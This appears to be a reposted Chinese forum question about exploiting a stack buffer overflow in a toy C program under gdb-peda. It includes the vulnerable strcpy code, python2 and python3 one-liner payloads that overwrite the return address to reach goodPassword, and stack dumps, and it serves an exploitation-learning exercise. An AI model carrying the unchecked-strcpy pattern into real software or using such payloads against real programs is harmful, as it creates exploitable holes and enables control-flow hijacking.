如何正确使用python3和gdb(peda)

2024-09-24 20:31:01 发布

您现在位置:Python中文网/ 问答频道 /正文

我正试图利用gdb和peda的一个简单的缓冲区溢出,我只想用程序的一个函数的地址重写返回地址,我可以很容易地用python2完成,但用python3似乎是不可能的,返回地址不是用好的地址重写的。你知道吗

根据我已经做的研究,编码是这个问题的原因,因为python2使用ascii,python3使用utf-8。 我在这个网站上发现了一些对我没有帮助的东西:/

以下是易受攻击应用程序的代码:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <string.h>

void checkPassword();
void goodPassword();

int main(int argc, char **argv)
{
    printf("Debut du programme...\n");

    if (argc < 2)
    {
        printf("Necessite un argument\n");
        return 0;
    }

    printf("Appel de la fonction checkPassword\n");
    checkPassword(argv[1]);

    printf("Fin du programme\n");

}

void checkPassword(const char *arg)
{
    char password[64];

    strcpy(password, arg);

    if (strcmp(password, "fromage") == 0)
    {
        goodPassword();
    }
    else
    {
        printf("Mauvais mot de passe\n");
    }
}

void goodPassword() // This is the function I want to run, adress : 0x565562b2
{
    printf("Mot de passe correcte!\n");

}

这是我在python2中使用的漏洞

starti $(python2 -c 'print "A"*76 + "\xb2\x62\x55\x56".strip() ')

以下是我在python3中使用的漏洞和strcpy的堆栈:

starti $(python3 -c 'print(b"A"*76 + b"\xb2\x62\x55\x56".strip() ')

gdb-peda$ x/24xw $esp
0xffffcc40:     0xffffcc50      0xffffcfa6      0xf7e2bca9      0x56556261
0xffffcc50:     0x41412762      0x41414141      0x41414141      0x41414141
0xffffcc60:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffcc70:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffcc80:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffcc90:     0x41414141      0x41414141      0x41414141      0x785c4141

我期望这个输出:

gdb-peda$ x/24xw $esp
0xffffcc50:     0xffffcc60      0xffffcfac      0xf7e2bca9      0x56556261
0xffffcc60:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffcc70:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffcc80:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffcc90:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffcca0:     0x41414141      0x41414141      0x41414141      0x565562b2

运行goodPassword函数。 谢谢你的帮助


Tags: 函数stringinclude地址depasswordpython3python2